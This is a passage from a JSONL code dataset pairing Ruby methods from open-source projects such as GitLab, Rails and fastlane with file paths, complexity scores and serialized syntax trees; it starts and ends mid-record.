end","complexity_score":45.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client_metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"body\"]},\"read\"]}]},\"symbolize_keys\"]}]},{\"type\":\"lvasgn\",\"children\":[\"allowed_params\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"redirect_uris\"]},{\"type\":\"sym\",\"children\":[\"client_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"client_metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_metadata\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_params\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"validation_error\",{\"type\":\"send\",\"children\":[null,\"validate_dynamic_fields\",{\"type\":\"lvar\",\"children\":[\"client_metadata\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validation_error\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"validation_error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"scopes\",{\"type\":\"str\",\"children\":[\"mcp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"redirect_uris\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"redirect_uris\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redirect_uris\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvasgn\",\"children\":[\"redirect_uris\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redirect_uris\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"application\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Authn\"]},\"OauthApplication\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[Unverified Dynamic Application] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client_name\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redirect_uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"redirect_uris\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scopes\"]},{\"type\":\"lvar\",\"children\":[\"scopes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidential\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dynamic\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application\"]},\"uid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_id_issued_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application\"]},\"created_at\"]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redirect_uris\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application\"]},\"redirect_uri\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token_endpoint_auth_method\"]},{\"type\":\"str\",\"children\":[\"none\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"grant_types\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization_code\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"require_pkce\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"scopes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dynamic\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"created\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"invalid_client_metadata\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_description\"]},{\"type\":\"lvar\",\"children\":[\"error_message\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]}]}]}","id":"4eebc256-c152-47fd-9622-8ef3b747b2bc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":335,"raw_source":"def test_creating_the_belonging_object\n    citibank = Account.create(\"credit_limit\" => 10)\n    apple    = citibank.create_firm(\"name\" => \"Apple\")\n    assert_equal apple, citibank.firm\n    citibank.save\n    citibank.reload\n    assert_equal apple, citibank.firm\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_creating_the_belonging_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"citibank\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"credit_limit\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"apple\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"citibank\"]},\"create_firm\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Apple\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"apple\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"citibank\"]},\"firm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"citibank\"]},\"save\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"citibank\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"apple\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"citibank\"]},\"firm\"]}]}]}]}","id":"d8133928-dcfc-4cdc-8508-fef90c3a3ec6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/variables/collection.rb","start_line":125,"raw_source":"def expand_value(value, keep_undefined: false, expand_file_refs: true, expand_raw_refs: true)\n          value.gsub(Item::VARIABLES_REGEXP) do\n            match = Regexp.last_match # it is either a valid variable definition or a ($$ / %%)\n            full_match = match[0]\n            variable_name = match[:key]\n\n            next full_match unless variable_name # it is a ($$ / %%), so we don't touch it\n\n            # now we know that it is a valid variable definition: $VARIABLE_NAME / %VARIABLE_NAME / ${VARIABLE_NAME}\n\n            # we are trying to find a variable with key VARIABLE_NAME\n            variable = self[variable_name]\n\n            if variable # VARIABLE_NAME is an existing variable\n              if variable.file?\n                expand_file_refs ? variable.value : full_match\n              elsif variable.raw?\n                # Normally, it's okay to expand a raw variable if it's referenced in another variable because\n                # its rawness is not broken. However, the runner also tries to expand variables.\n                # Here, with `full_match`, we defer the expansion of raw variables to the runner.\n                # If we expand them here, the runner will not know that the expanded value is a raw variable\n                # and it tries to expand it again.\n                # Example: `A` is a normal variable with value `normal`.\n                #          `B` is a raw variable with value `raw-$A`.\n                #          `C` is a normal variable with value `$B`.\n                #          If we expanded `C` here, the runner would receive `C` as `raw-$A`. And since `A` is a normal\n                #          variable, the runner would expand it. So, the result would be `raw-normal`.\n                #          With `full_match`, the runner receives `C` as `$B`. And since `B` is a raw variable, the\n                #          runner expanded it as `raw-$A`, which is what we want.\n                # Discussion: https://gitlab.com/gitlab-org/gitlab/-/issues/353991#note_1103274951\n                expand_raw_refs ? variable.value : full_match\n              else\n                variable.value\n              end\n\n            elsif keep_undefined\n              full_match # we do not touch the variable definition\n            else\n              nil # we remove the variable definition\n            end\n          end\n        end","complexity_score":28.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"kwoptarg\",\"children\":[\"keep_undefined\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"expand_file_refs\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"expand_raw_refs\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"gsub\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"VARIABLES_REGEXP\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\"]}]},{\"type\":\"lvasgn\",\"children\":[\"full_match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"variable_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable_name\"]},null,{\"type\":\"next\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_match\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"variable\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"variable_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"file?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expand_file_refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"value\"]},{\"type\":\"lvar\",\"children\":[\"full_match\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"raw?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expand_raw_refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"value\"]},{\"type\":\"lvar\",\"children\":[\"full_match\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keep_undefined\"]},{\"type\":\"lvar\",\"children\":[\"full_match\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"a770fd44-f4e0-49b0-8d16-044a56447143"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/groups/menus/observability_menu.rb","start_line":188,"raw_source":"def exceptions_menu_item\n          link = group_observability_path(context.group, 'exceptions')\n          ::Sidebars::MenuItem.new(\n            title: s_('Observability|Exceptions'),\n            link: link,\n            active_routes: { page: link },\n            super_sidebar_parent: ::Sidebars::Groups::SuperSidebarMenus::ObservabilityMenu,\n            item_id: :exceptions,\n            container_html_options: { class: 'shortcuts-exceptions' }\n          )\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exceptions_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link\",{\"type\":\"send\",\"children\":[null,\"group_observability_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"group\"]},{\"type\":\"str\",\"children\":[\"exceptions\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"MenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Observability|Exceptions\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"lvar\",\"children\":[\"link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active_routes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"link\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"super_sidebar_parent\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"Groups\"]},\"SuperSidebarMenus\"]},\"ObservabilityMenu\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"exceptions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_html_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"shortcuts-exceptions\"]}]}]}]}]}]}]}]}","id":"c68c8107-d8b3-4e8f-905a-26aa23ccfdf1"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/pilot/lib/pilot/manager.rb","start_line":83,"raw_source":"def fetch_app_platform(required: true)\n      result = config[:app_platform]\n      result ||= FastlaneCore::IpaFileAnalyser.fetch_app_platform(config[:ipa]) if config[:ipa]\n      result ||= FastlaneCore::PkgFileAnalyser.fetch_app_platform(config[:pkg]) if config[:pkg]\n      if required\n        result ||= UI.input(\"Please enter the app's platform (appletvos, ios, osx, xros): \")\n        UI.user_error!(\"App Platform must be ios, appletvos, osx, or xros\") unless ['ios', 'appletvos', 'osx', 'xros'].include?(result)\n        UI.verbose(\"App Platform (#{result})\")\n      end\n      return result\n    end","complexity_score":27.9,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_app_platform\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"required\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_platform\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipa\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"IpaFileAnalyser\"]},\"fetch_app_platform\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipa\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pkg\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"PkgFileAnalyser\"]},\"fetch_app_platform\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pkg\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"required\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"input\",{\"type\":\"str\",\"children\":[\"Please enter the app's platform (appletvos, ios, osx, xros): \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ios\"]},{\"type\":\"str\",\"children\":[\"appletvos\"]},{\"type\":\"str\",\"children\":[\"osx\"]},{\"type\":\"str\",\"children\":[\"xros\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"App Platform must be ios, appletvos, osx, or xros\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"App Platform (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"e51e5e9e-c49d-4a43-b9aa-8e0f50aae087"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb","start_line":391,"raw_source":"def mark_transaction_written # :nodoc:\n        transaction = current_transaction\n        if transaction.open?\n          transaction.written ||= true\n        end\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_transaction_written\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"transaction\",{\"type\":\"send\",\"children\":[null,\"current_transaction\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"open?\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"written\"]},{\"type\":\"true\",\"children\":[]}]},null]}]}]}","id":"4a7e038c-8c48-4476-964e-33a71d6ed7ae"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/views/filters/type_filter.rb","start_line":40,"raw_source":"def transformed_values\n    values.map { |value| value[/Views::(?<name>.*?)$/, \"name\"].underscore }\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"transformed_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Views::(?<name>.*?)$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"name\"]}]},\"underscore\"]}]}]}","id":"2091d53c-10bb-4740-b70a-f20dcc377bfc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/replay_events_importer.rb","start_line":18,"raw_source":"def execute\n          association = case replay_event.issuable_type\n                        when 'MergeRequest'\n                          project.merge_requests.find_by_iid(replay_event.issuable_iid)\n                        end\n\n          return unless association\n\n          events_cache = EventsCache.new(project)\n\n          handle_review_requests(association, events_cache.events(association))\n\n          events_cache.delete(association)\n        end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"association\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"replay_event\"]},\"issuable_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"MergeRequest\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"merge_requests\"]},\"find_by_iid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"replay_event\"]},\"issuable_iid\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"events_cache\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EventsCache\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_review_requests\",{\"type\":\"lvar\",\"children\":[\"association\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events_cache\"]},\"events\",{\"type\":\"lvar\",\"children\":[\"association\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events_cache\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"association\"]}]}]}]}","id":"6d7551d7-aeab-4a61-8e16-d005d6670c8a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/limit/rate_limit.rb","start_line":41,"raw_source":"def create_log_entry\n              Gitlab::AppJsonLogger.info(\n                class: self.class.name,\n                namespace_id: project.namespace_id,\n                project_id: project.id,\n                commit_sha: command.sha,\n                subscription_plan: project.actual_plan_name,\n                message: 'Activated pipeline creation rate limit',\n                throttled: enforce_throttle?,\n                throttle_override: throttle_override?\n              )\n            end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_log_entry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppJsonLogger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command\"]},\"sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subscription_plan\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"actual_plan_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Activated pipeline creation rate limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"throttled\"]},{\"type\":\"send\",\"children\":[null,\"enforce_throttle?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"throttle_override\"]},{\"type\":\"send\",\"children\":[null,\"throttle_override?\"]}]}]}]}]}","id":"3003be17-9547-4b17-85bb-2e8566f32942"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/code_statistics.rb","start_line":83,"raw_source":"def calculate_statistics\n        Hash[@pairs.map { |pair| [pair.first, calculate_directory_statistics(pair.last)] }]\n      end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_statistics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pairs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pair\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"first\"]},{\"type\":\"send\",\"children\":[null,\"calculate_directory_statistics\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"last\"]}]}]}]}]}]}","id":"dff34cfa-ea37-4c81-8a7b-2db075d2f8f8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/task_helpers/imports/customization_templates.rb","start_line":7,"raw_source":"def initialize(message = nil, details = nil)\n          super(message)\n          self.details = details\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"details\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"details=\",{\"type\":\"lvar\",\"children\":[\"details\"]}]}]}]}","id":"6d6500b9-048d-44da-9134-1f346c1b1473"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/community_bots_controller.rb","start_line":10,"raw_source":"def index\n      @community_bots = User.community_bots_for_subforem(@subforem.id)\n        .includes(:api_secrets)\n        .order(created_at: :desc)\n    